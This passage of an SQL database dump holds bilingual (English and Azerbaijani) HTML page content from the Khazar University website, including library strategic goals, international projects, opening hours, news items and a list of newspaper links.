to our service goals and to professional growth and development.&nbsp;&nbsp;</p><p style=\"text-align:justify\"><br></p><h2 style=\"text-align:justify\">Challenges:&nbsp;</h2><p style=\"text-align:justify\">Khazar University LIC operates in an environment in which there are:&nbsp;</p><br><ul><li>Diverse and changing user needs and preferences.&nbsp;</li><li>Constant technological change.&nbsp;</li><li>University priorities influenced by government policies.&nbsp;</li><li>Growing concerns about the quality of students\' educational experience.</li><li>An increase in students\' and researchers\' ease with online information.</li><li>University emphasis on advanced research and excellence in the learning environment.&nbsp;</li><li>Information offered through many competing channels, online access to scholarly information for the whole academic community.</li><li>Spiralling cost increases for information resources.&nbsp;</li></ul><br><h2 style=\"text-align:justify\">Core Service Pursuits and Goals:&nbsp;&nbsp;</h2><p style=\"text-align:justify\"><strong><em>REVIEW AND REALIGN SERVICES TO SUPPORT THE DIVERSE AND EVOLVING INFORMATION NEEDS OF KHAZAR UNIVESITY SCHOLARLY COMMUNITY, USING TECHNOLOGY TO SUPPORT ENHANCEMENTS WHENEVER POSSIBLE</em></strong></p><p style=\"text-align:justify\">We will meet a diversity of needs and preferences that we will identify by continuously assessing users\' needs. By revising policies and using technological innovations to support flexibility and unmediated services, we will redesign services to reflect changing patterns.</p><p style=\"text-align:justify\"><strong><em><br></em></strong></p><p style=\"text-align:justify\"><strong><em>BUILD AND PRESERVE COLLECTIONS AND ACCELERATE THE DEVELOPMENT OF THE ELECTRONIC INFORMATION SERVICES TO ENSURE TIMELY AND CONVENIENT ACCESS TO INFORMATION</em></strong></p><p style=\"text-align:justify\">Informed by the educational programmes and research priorities of the University community, the LIC manages the ownership of and access to information resources in liaison with faculty.</p><p style=\"text-align:justify\">Library services will have to be provided in a more complex and challenging environment. The Library will continue to offer a ‘hybrid library’ service, combining paper and electronic resources as appropriate in each subject area. The growth of electronic resources will not be matched by an equivalent decline in the publication or use of traditional paper-based library resources. The LIC will accelerate access to digital resources by streamlining internal processes and improve the gateways to scholarly resources, often in cooperation with Azerbaijan Library Information Consortia.</p><p style=\"text-align:justify\"><strong><em><br></em></strong></p><p style=\"text-align:justify\"><strong><em>TO ENHANCE AVAILABILITY AND ACCESSIBILITY OF THE COLLECTIONS AND OTHER INFORMATION RESOURCES</em></strong></p><p style=\"text-align:justify\">The LIC&nbsp; will continue to:&nbsp;</p><br><ul><li>Improve access to the collections via the online catalogue.&nbsp;</li><li>Improve accessibility of collections and resources by utilising the web to the full.&nbsp;</li><li>Improve understanding of the needs of the user community.&nbsp;</li></ul><br><p style=\"text-align:justify\"><strong><em>STRENGTHEN THE LIC SUPPORT FOR ACADEMIC RESEARCH&nbsp;</em></strong></p><p style=\"text-align:justify\">The Library will play a major role in the implementation of the University’s Information Strategy, particularly through the provision of the <a href=\"http://dspace.khazar.org/jspui/\">Khazar University Institutional Repository</a> (KUIR) based on the DSpace technology.</p><p style=\"text-align:justify\">LIC will support academic research by acquiring and providing effective access to research resources though the KUIR by helping researchers maintain current awareness of developments in their fields and by working with faculty to ensure that graduate students are skilled in research methodology and information-seeking skills.</p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong><em>STRENGTHEN THE TRAINING ORIENTATION OF THE LIC&nbsp;</em></strong></p><p style=\"text-align:justify\">LIC will extend and improve LIC programs for improving community members\' skills in information access and assessment, providing basic instruction in how to obtain electronic information, as well as skills to sift and filter and assess information. Consider both active teaching and self-help systems. Encourage the idea that learners take responsibility for their learning.</p><p style=\"text-align:justify\">The LIC will continue to promote modern approaches to the professional development of librarians and information specialists in Azerbaijan offering special training programs in the form of intensive seminars, lecture series and workshops, consultations, etc.</p><p style=\"text-align:justify\"><strong><em><br></em></strong></p><p style=\"text-align:justify\"><strong><em>FOSTER AND INITIATE STRATEGIC AND COLLABORATIVE PARTNERSHIPS THAT SUPPORT NEW UNIVERSITY AND FACULTY INITIATIVES</em></strong>&nbsp;&nbsp;</p><p style=\"text-align:justify\">Trends within the University towards interdisciplinary research, greater use of technology, new approaches to learning and teaching, as well as new partnerships with off-campus institutions require flexibility from the LIC. Working closely with academic units, the LIC, as a technological leader, will initiate and support new approaches.</p><p style=\"text-align:justify\"><strong><em><br></em></strong></p><p style=\"text-align:justify\"><strong><em>PROMOTE AND SUPPORT INITIATIVES FOR MORE AFFORDABLE SCHOLARLY PUBLISHING&nbsp;</em></strong></p><p style=\"text-align:justify\">The Library will pursue strategies that ensure access to affordable scholarly communication. In concert with the&nbsp;Khazar&nbsp;University&nbsp;academic community and other universities and academic libraries, the Library will continue to explore and promote alternative strategies for disseminating research results by providing open access to&nbsp;Khazar&nbsp;University&nbsp;academic journals.</p><p style=\"text-align:justify\"><strong><em><br></em></strong></p><p style=\"text-align:justify\"><strong><em>ENHANCE LIBRARY FACILITIES AS ATTRACTIVE VENUES FOR STUDY AND RESEARCH AS WELL AS INTELLECTUAL AND SOCIAL INTERACTION</em></strong>&nbsp;&nbsp;</p><p style=\"text-align:justify\">Our physical facilities are heavily used and highly valued, particularly by students, while the use of our electronic services and scholarly literature from offices and homes continues to grow. We will continue to enhance facilities to respond to changing use patterns by upgrading equipment and developing group study space and quiet and social areas.</p><h2><br></h2><h2>Enabling pursuits:</h2><p style=\"text-align:justify\"><strong><em>CREATE FLEXIBLE ORGANIZATIONAL STRUCTURES IN ORDER TO REALIZE OUR SERVICE GOALS AND ENSURE THE MOST EFFECTIVE USE OF OUR RESOURCES</em></strong></p><p style=\"text-align:justify\">In a climate of budgetary constraint and technological change, staffing patterns and organizational structures need continuous review and adaptation. The LIC will establish guidelines for staffing levels that permit effective support for our service goals and will re-evaluate and realign information services and organizational structure where appropriate.</p><p style=\"text-align:justify\"><strong><em><br></em></strong></p><p style=\"text-align:justify\"><strong><em>BUILD A POSITIVE ORGANIZATIONAL CULTURE THAT ENCOURAGES STAFF TO DEVELOP SKILLS AND SHARE A COMMON PURPOSE AND COLLECTIVE RESPONSIBILITY FOR THE LIC SUCCESS</em></strong></p><p style=\"text-align:justify\">The rapidly changing environment in which library staff works requires continuous skill development and flexibility. Strategies to support a positive working environment will include support for skill enhancement; open communication about new directions and challenges facing the LIC; and opportunities for staff to participate in defining and implementing new work patterns and services.</p><p style=\"text-align:justify\"><strong><em><br></em></strong></p><p style=\"text-align:justify\"><strong><em>PROMOTE AND ADVANCE THE LIC SERVICES AND RESOURCES THROUGH PROMOTION AND COMMUNICATION WITHIN AND BEYOND THE UNIVERSITY COMMUNITY</em></strong></p><p style=\"text-align:justify\">We will promote the LIC resources and services within the University and contribute to creative and&nbsp; fund-development strategies. We will communicate and celebrate the LIC directions, innovations effective and successes on and off campus.</p>'),(5039,2935,'en','Catalogue','Catalogue',''),(5040,2935,'az','Kataloq','Kataloq',''),(5041,2936,'az','Elektron Kataloq','Elektron Kataloq',''),(5042,2936,'en','Electronic Catalogue','Electronic Catalogue',''),(5011,2920,'az','KİM-in qısa tarixi','KİM-in qısa tarixi',''),(5012,2920,'en','Historical Sketch','Historical Sketch',''),(5013,2921,'en','International Projects','International Projects','<p style=\"text-align:justify\">LIC has been participating in various projects, the most important of which are:</p><div style=\"text-align:justify\"><br></div><ul><li style=\"text-align:justify\">The Center for Education and Information Studies (CEIS) of Khazar University was established as important outcome of the early stage of the partnership with graduate School of Education and Information Studies at the University of California, Los Angeles under USIS funding.</li><li style=\"text-align:justify\">Guttenberg Project, which aims to digitizing Azerbaijan public domain literature in Latin script together with Akhundov National Libary and Institute of Literature under National Academy of Sciences of Azerbaijan.</li><li style=\"text-align:justify\"><a href=\"http://www.calimera.org/Lists/Country%20files/Azerbaijan_Country_Report.pdf\"><strong>CALIMERA Project</strong></a>&nbsp;(Culture Applications Local Institutions Mediating Electronic Access).&nbsp;</li><li style=\"text-align:justify\"><a href=\"http://www.translit.az/ENG/index.htm\"><strong>UNESCO Translation Project</strong></a>, aimed to complete a bibliography of the translations in various editions (books, journal articles, conference papers, etc.) from Azeri into other languages and from other languages into Azeri.</li><li style=\"text-align:justify\">LIC has been continuing some projects related to the library collection development, including a long-term work with international library foundations and programs, such as Journal Donation Program, Science Journal Distribution Program, Sabre Foundation, American Chemical Society, Islamic Foundation, Corporate Body of Buddha Education Foundation in Taiwan, Japan Foundation Library Support Program, International Book Project, World Vision\'s Gift in Kind Program and others.</li><li style=\"text-align:justify\"><a href=\"http://www.issrlibrary.org/\"><strong>The International Society for Science &amp; Religion Library project</strong></a>.&nbsp;This library consists of 224 books spanning all important areas and disciplines as well as key international and intercultural voices.</li><li style=\"text-align:justify\">Chinese Books from Hanban İnternational Project According the project LIC received 250 books and Media resources.</li><li>School Management Training for Potential School Principals UNESCO UNICEF</li></ul>'),(5014,2921,'az','Beynəlxalq Layihələr','Beynəlxalq Layihələr','<p style=\"text-align:justify\">KİM müxtəlif layihələrdə iştirak etməkdədir. Ən mühümləri bunlardır:&nbsp; &nbsp; &nbsp;</p><br><ul><li>USIS-in (Birləşmiş Ştatlar İnformasiya Cəmiyyəti) maliyyələşdirməsi ilə Los Anceles, Kaliforniya Universiteti Təhsil və İnformasiya Aspirantura Fakültəsi ilə əməkdaşlığın ilkin mərhələsinin mühüm nəticəsi olaraq, Xəzər Universitəsinin Təhsil və İnformasiya Tədqiqatları Mərkəzi təsis edildi.</li><li>Axundov Milli Kitabxanası və Ədəbiyyat İnstitu ilə birgə, Azərbaycan Milli Elmlər Akademiyası nəzdində Azərbaycan kütləvi ədədbiyyatının Latın əlifbası ilə rəqəmsallaşdırılmasına səy göstərən Qutemberq layihəsi.</li><li><a href=\"http://www.calimera.org/Lists/Country%20files/Azerbaijan_Country_Report.pdf\"><strong>CALIMERA Layihəsi</strong></a>.&nbsp;</li><li><strong><a href=\"http://www.translit.az/ENG/index.htm\">YUNESKO Tərcümə Layihəsi</a>.&nbsp;</strong>Azəri türkcəsindən başqa dillərə, başqa dillərdən Azəri türkcəsinə müxtəlif nəşrlərdə (kitablar, jurnal məqalələri, konfrans materialları və s.)&nbsp; tərcümələrin biblioqrafiyasının tamamlanmasına yönəldilib.</li><li>KİM kitabxana kolleksiyasının inkişafı ilə bağlı, Jurnal Hədiyyə Proqramı, Elmi Jurnalların Yayılması Proqramı, Sabre Fondu, Amerika Kimya Cəmiyyəti, İslam Fondu, Tayvanda Budda Təhsil Fondu Birləşmiş Təşkilatı, Yapon Fondu Kitabxana Dəstək Proqramı, Beynəlxalq Kitab Layihəsi, “World Vision\'s Gift in Kind” proqramı və digər beynəlxalq kitabxana fondları və proqramları ilə uzun müddətli əməkdaşlığın daxil olduğu bəzi layihələrə davam etməkdədir.&nbsp;</li><li><a href=\"http://www.issrlibrary.org/\"><strong>Beynəlxalq Elm və Din Cəmiyyəti Kitabxana Layihəsi</strong></a>.&nbsp;Kitabxana bütün mühüm, elmi sahələri, eyni zamanda əsas beynəlxalq və mədəniyyətlərarası düşüncələri, fikirləri birləşdirən 224 kitabdan ibarətdir.</li></ul>'),(5015,2923,'az','Potensial məktəb direktorları layihəsi davam edir - FOTOSESSİYA','','Potensial məktəb direktorları layihəsi davam edir...'),(5016,2923,'en','Potential School Directors Project Continues - PHOTO SESSION','Potential School Directors Project Continues...',''),(5017,2924,'az','Xəzər Universitetində doktoranturaya qəbul imtahanları başa çatdı - FOTOSESSİYA','Xəzər Universitetində doktoranturaya qəbul imtahanları başa çatdı...',''),(5018,2924,'en','PhD Entrance exams at Khazar University are over - PHOTO SESSION','PhD Entrance exams at Khazar University are over...',''),(5019,2925,'az','Qonaqlar Üçün','Qonaqlar Üçün','<p><strong><a href=\"http://www.khazar.org/az/menus/1319/qaydalar\">Qaydalar</a></strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/1320/yeni_istifadechiler\">Yeni istifadəçilər</a>&nbsp;</strong><br></p><p><strong><a href=\"http://www.khazar.org/az/menus/1321/it_imkanlari\">İT imkanları</a>  </strong></p>'),(5020,2925,'en','For Visitors','For Visitors','<p><strong><a href=\"http://www.khazar.org/en/menus/1319/admissions\">Admissions</a></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/1320/new_users\">New Users</a> </strong> <br></p><p><strong><a href=\"http://www.khazar.org/en/menus/1321/it_facilities\">IT Facilities</a><br></strong></p>'),(5031,2931,'az','Dövriyyə Xidmətləri','Dövriyyə Xidmətləri','<p style=\"text-align:justify\">Circulation Services staff are available to help users with all procedures related to checking out and returning books. In addition, Circulation is responsible for shelving, locating missing books, and recalling books checked out to other users, among many other things.</p><p>Fines can be paid at the LIC and any branches.</p><p>You can use these links to access&nbsp;<a href=\"http://www.khazar.org/en/menus/1342/circulation_policy_1518778018\" title=\"Circulation Policy\"><strong>Circulation Policy</strong></a>&nbsp;and&nbsp;<a href=\"http://www.khazar.org/en/menus/1325/opening_hours\" title=\"Contacts\"><strong>contact</strong></a>&nbsp;information for circulation services throughout the Khazar University LIC.</p>'),(5032,2931,'en','Circulation Services','Circulation Services','<p style=\"text-align:justify\">Circulation Services\r\nstaff are available to help users with all procedures related to checking out\r\nand returning books. In addition, Circulation is responsible for shelving,\r\nlocating missing books, and recalling books checked out to other users, among\r\nmany other things.</p><p style=\"text-align:justify\">Fines can be paid at the LIC and any branches.</p><p style=\"text-align:justify\">You can use these links to access&nbsp;<a href=\"http://www.khazar.org/en/menus/1342/circulation_policy_1518778018\" title=\"Circulation Policy\"><strong>Circulation\r\nPolicy</strong></a>&nbsp;and&nbsp;<a href=\"http://www.khazar.org/en/menus/1325/opening_hours\" title=\"Contacts\"><strong>contact</strong></a>&nbsp;information for circulation services throughout the\r\nKhazar University LIC.</p>'),(5033,2932,'az','İş Qrafiki','İş Qrafiki','<p><strong>Neftçilər korpusu kitabxanası:</strong></p><p><strong>(Bakı, Məhsəti küç. 41, AZ 1096, Azərbaycan)</strong></p><p><strong>Tel:</strong><strong>&nbsp;(+99412) 421-79-16&nbsp;(263)</strong></p><p>Bazar ertəsi-Cümə: 08.30-19.30</p><p>Şənbə:&nbsp;09.00-15.00</p><p>Bazar: istirahət günü</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong>Downtown kitabxanası:</strong></p><p><strong></strong><strong>(Bakı, Bəşir Səfəroğlu küç. 122, AZ1009, Azərbaycan)&nbsp;</strong></p><p><strong></strong><strong>Tel: (+99412) 596-21-14 (263)</strong></p><p><strong></strong>Bazar ertəsi-Cümə: 09.00-19.30</p><p>Şənbə: 09.00-17.00</p><p>Bazar: istirahət günü  <br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong>Dünya məktəbi kitabxanası:</strong></p><p><strong></strong><strong>(Bakı, 8-ci MKR, Əcəmi Naxçıvani küçəsi 9,&nbsp; AZ 1130, Azərbaycan)&nbsp;</strong></p><p><strong></strong><strong>Tel: (+99412) 563-59-48</strong></p><p><strong></strong>Bazar ertəsi-Cümə:&nbsp; 09.00-17.00</p><p>Şənbə və bazar: istirahət günü  <br></p><p></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><p><strong>Sumqayıt Dünya məktəbi kitabxanası:</strong></p><p><strong>(Sumqayıt, 9-cu MKR, Bakı küçəsi 37, 44-cü məhəllə, Azərbaycan)</strong></p><p><strong>Tel: (+99418)&nbsp;642-30-97  </strong><br></p><p>Bazar ertəsi-Cümə:&nbsp; 09.00-17.00  <br></p><p>Şənbə və bazar: istirahət günü  </p> <p><br></p><p><br></p>'),(5034,2932,'en','Opening Hours','Opening Hours','<p style=\"font-weight:bold\">Neftchilar Campus Library:</p><p style=\"font-weight:bold\">(41 Mehseti St, Baku, AZ1096,&nbsp;Azerbaijan)</p><p style=\"font-weight:bold\"><strong>Phone:&nbsp; (</strong><strong>+</strong><strong>99412) 421-79-16 (263)</strong></p><p>Monday – Friday -&nbsp;08.30&nbsp;-&nbsp;19.30</p><p>Saturday - 09.00 - 15.00</p><p>Sunday - closed</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong><strong>Downtown Campus</strong>  Library:</strong></p><p><strong></strong><strong>(Downtown Campus, 122 Bashir Safaroglu St, Baku, AZ1009, Azerbaijan)&nbsp;</strong></p><p><strong>Phone: (+99412) 596-21-14</strong></p><p><strong></strong>Monday – Friday - 09.00 - 19.30</p><p>Saturday - 09.00 - 17.00</p><p>Sunday -&nbsp; closed</p><p></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><p><strong>The “Dunya” School Library:</strong></p><p><strong></strong><strong>(8-th MKR, Acami Nakhcivani St 9,Baku, AZ1130, Azerbaijan)&nbsp;</strong></p><p><strong></strong><strong>Phone: (+99412) 563-59-48</strong></p><p><strong></strong>Monday – Friday - 09.00 - 17.00</p><p>Saturday and &nbsp;Sunday - closed<br>   </p><p></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><p><strong>Sumgait&nbsp;“Dunya” School Library:&nbsp;</strong></p><p><strong>(9-th MKR, Baku St 37,Sumgait, Azerbaijan) </strong> <br></p><p><strong>Phone: (+99418) 642-30-97&nbsp;<br></strong></p><p>Monday – Friday - 09.00 - 17.00  <br></p><p>Saturday and&nbsp; Sunday - closed  <br></p><p><br></p>'),(5035,2933,'az','Universitetin əməkdaşları Lənkəran rayonunda oldular','2018-ci il fevralın 9-da və 10-da Xəzər Universitetinin Potensial tələbələr üzrə işçi qrupunun koordinatoru Fuat Rəsulov...','<p>2018-ci il fevralın 9-da və 10-da Xəzər Universitetinin Potensial tələbələr üzrə işçi qrupunun koordinatoru Fuat Rəsulov, İctimai əlaqələr və media üzrə direktor Əlövsət Əmirbəyli və Layihə meneceri Ülkər Bayramova Lənkəran rayonunda səfərdə oldular.</p><p>Səfər zamanı Boladı kənd 1 və 2 saylı orta məktəblərin, Liman şəhər 1 saylı orta məktəbin və Cənub Hazırlıq Kurslarının şagirdləri və müəllimləri ilə görüşlər keçirildi, Xəzər Universiteti və burada kadr hazırlığı aparılan ixtisaslar haqqında geniş məlumat verildi, videoçarx nümayiş etdirildi və iştirakçıların sualları cavablandırıldı.</p><p>Lənkəran şəhərində və ətraf rayonlarda təhsil alan yuxarı sinif şagirdləri, onların valideynləri və müəllimləri ilə də universitet rəhbərliyinin görüşlərinin təşkil edilməsi qərara alınmışdır.</p>'),(5036,2933,'en','Staff members of the university visit Lankaran','Fuat Rasulov, Coordinator of working group with potential students of Khazar University, Alovsat Amirbayli...','<p>Fuat Rasulov, Coordinator of a&nbsp;working group with potential students of Khazar University, Alovsat Amirbayli, Director of Public Relations and Media, and Ulkar Bayramova, Project Manager, visited Lankaran region on February 9, 2018.</p><p>Staff members held meetings with students, and their parents of Boladi village school №1 and school № 2, Liman city school №1, and Janub Preparation Course. Staff members provided meeting participants with information about Khazar University and specialties&nbsp;offered by the&nbsp;university, demonstrated promotional video, and answered questions of participants.</p><p>It was decided that university administration should meet students, students’ parents and teachers of Lankaran city and nearby regions.</p>'),(5037,2934,'az','Azərbaycan dili və ədəbiyyatı departamentinin əməkdaşının məqalələri çap olundu','Xəzər Universiteti Azərbaycan dili və ədəbiyyatı departamentinin əməkdaşı fil.ü.f.d., dos. Dilbər Zeynalovanın...','<p>Xəzər Universiteti Azərbaycan dili və ədəbiyyatı departamentinin əməkdaşı fil.ü.f.d., dos. Dilbər Zeynalovanın “Xудожественное воплощение социально-психологических проблем в новой Азербайджанской прозе”&nbsp;(“Yeni Azərbaycan nəsrində sosial-psixoloji problemlərin bədii təcəssümü”) adlı məqaləsi “Науковий Вıсник Мıжнародного Гуманитарного Университету” jurnalında (Odessa, Вип. 29, 2017.s.99-103) nəşr olunmuşdur.</p><p>Məqalənin tam mətnini bu link vasitəsilə oxumaq olar:&nbsp;</p><p><a href=\"http://www.vestnik-philology.mgu.od.ua/archive/v29/part_1/29.pdf\">http://www.vestnik-philology.mgu.od.ua/archive/v29/part_1/29.pdf</a>.</p>\r\n<p>D.Zeynalovanın “Модификация жанра романа в современной Азербайджанской прозе”&nbsp;(“Müasir Azərbaycan nəsrində roman janrının modifikasiyası”) adlı məqaləsi isə “Filologiçeske vedomosti №4” (Çexiya, “Sociosfera-CZ”, 2017. s.26-32) jurnalında nəşr olunmuşdur.</p><p>Məqalənin tam mətnini bu link vasitəsilə oxumaq olar:</p><p><a href=\"https://elibrary.ru/contents.asp?issueid=1902196\">https://elibrary.ru/contents.asp?issueid=1902196</a>.</p>'),(5038,2934,'en','An article of a staff member of the Department of the Azerbaijani Language and Literature','An article entitled “Literary incarnation of social-psychological problems in new Azerbaijani prose...','<p>An article entitled “Literary incarnation of social-psychological problems in new Azerbaijani prose” (“Xудожественное воплощение социально-психологических проблем в новой Азербайджанской прозе”) by Dr. Dilbar Zeynalova, PhD in Philology, a staff member of the Department of the Azerbaijani Language and Literature, was published in \"Науковий Вıсник Мıжнародного Гуманитарного Университету” journal (Odessa, Вип. 29, 2017.s.99-103).</p><p>A link to a&nbsp;full article:&nbsp;</p><p><a href=\"http://www.vestnik-philology.mgu.od.ua/archive/v29/part_1/29.pdf\">http://www.vestnik-philology.mgu.od.ua/archive/v29/part_1/29.pdf</a>.</p>\r\n<p>Moreover, another article entitled “Modification of the novel genre&nbsp;in modern Azerbaijani prose” (“Модификация жанра романа в современной Азербайджанской прозе”) by Dr. Zeynalova was published in “Filologiçeske vedomosti №4” (Czech Republic, “Sociosfera-CZ”, 2017. s.26-32) journal.</p><p>A link to a&nbsp;full article:  <br></p><p><a href=\"https://elibrary.ru/contents.asp?issueid=1902196\">https://elibrary.ru/contents.asp?issueid=1902196</a>.  <br></p>'),(5978,3415,'en','Article by eiLink Researcher in Thomson Reuters Indexed Journal','An article entitled “Modeling of the Cementation Factor and Hydraulic permeability using Mercury Injection...','<p>An article entitled “<em>Modeling of the Cementation Factor and Hydraulic permeability using Mercury Injection Capillary Pressure (MICP) Measurements</em>”, by Izat Shahsenov, eiLink Researcher, was published in the Journal of Petroleum Science and Engineering (ISSN 0920-4115), vol. 171, 2018.</p><p>The journal is indexed by Thomson Reuters Web of Science (SCI Impact Factor: 2.382), the premier research platform for information in the sciences, social sciences, arts and humanities.</p><p>The abstract of the article is available at this link:</p><p><a href=\"https://www.sciencedirect.com/science/article/pii/S0920410518306910\">https://www.sciencedirect.com/science/article/pii/S0920410518306910</a>.  <br></p>'),(5060,2945,'az','Azərbaycan Onlayn Dövri Mətbuatı','Azərbaycan Onlayn Dövri Mətbuatı','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\"><strong>Qəzetlər:</strong></p><table cellspacing=\"0\" cellpadding=\"0\" style=\"border-collapse:collapse;border:initial none #000\">\r\n <tbody><tr>\r\n  <td width=\"394\" style=\"width:295.15pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.525.az/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">525-ci qəzet</span></strong></a></li></ul><br>\r\n  </td>\r\n  <td width=\"230\" style=\"width:172.35pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://hurriyyet.net/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Hürriyyət</span></strong></a></li></ul><br>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"394\" style=\"width:295.15pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.525.az/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Аргументы и факты</span></strong></a></li></ul><br>\r\n  </td>\r\n  <td width=\"230\" style=\"width:172.35pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.iqtisadiyyat.com/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">İqtisadiyyat</span></strong></a></li></ul><br>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"394\" style=\"width:295.15pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.ayna.az/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Ayna</span></strong></a></li></ul><br>\r\n  </td>\r\n  <td width=\"230\" style=\"width:172.35pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.ikisahil.com/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">İki sahil</span></strong></a></li></ul><br>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"394\" style=\"width:295.15pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.azadliq.info/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Azadlıq</span></strong></a></li></ul><br>\r\n  </td>\r\n  <td width=\"230\" style=\"width:172.35pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.kaspi.az/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Kaspi</span></strong></a></li></ul><br>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"394\" style=\"width:295.15pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.azernews.az/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Azernews</span></strong></a></li></ul><br>\r\n  </td>\r\n  <td width=\"230\" style=\"width:172.35pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.kp.ru/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Комсомольская правда</span></strong></a></li></ul><br>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"394\" style=\"width:295.15pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.azerbaijan-news.az/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Azərbaycan</span></strong></a></li></ul><br>\r\n  </td>\r\n  <td width=\"230\" style=\"width:172.35pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://medeniyyet.az/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Mədəniyyət</span></strong></a></li></ul><br>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"394\" style=\"width:295.15pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><strong><a href=\"http://www.muallim.edu.az/\"><span style=\"color:#337ab7\">Az</span><span style=\"color:#337ab7\">ə</span><span style=\"color:#337ab7\">rbaycan mü</span><span style=\"color:#337ab7\">ə</span><span style=\"color:#337ab7\">llimi</span></a></strong></li></ul><br>\r\n  </td>\r\n  <td width=\"230\" style=\"width:172.35pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://merkez.az/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Mərkəz</span></strong></a></li></ul><br>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"394\" style=\"width:295.15pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.br.az/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Бакинский рабочий</span></strong></a></li></ul><br>\r\n  </td>\r\n  <td width=\"230\" style=\"width:172.35pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.525.az/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Неделя</span></strong></a></li></ul><br>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"394\" style=\"width:295.15pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.baki-xeber.com/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Bakı – Xəbər</span></strong></a></li></ul><br>\r\n  </td>\r\n  <td width=\"230\" style=\"width:172.35pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.olaylar.az/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Olaylar</span></strong></a></li></ul><br>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"394\" style=\"width:295.15pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a 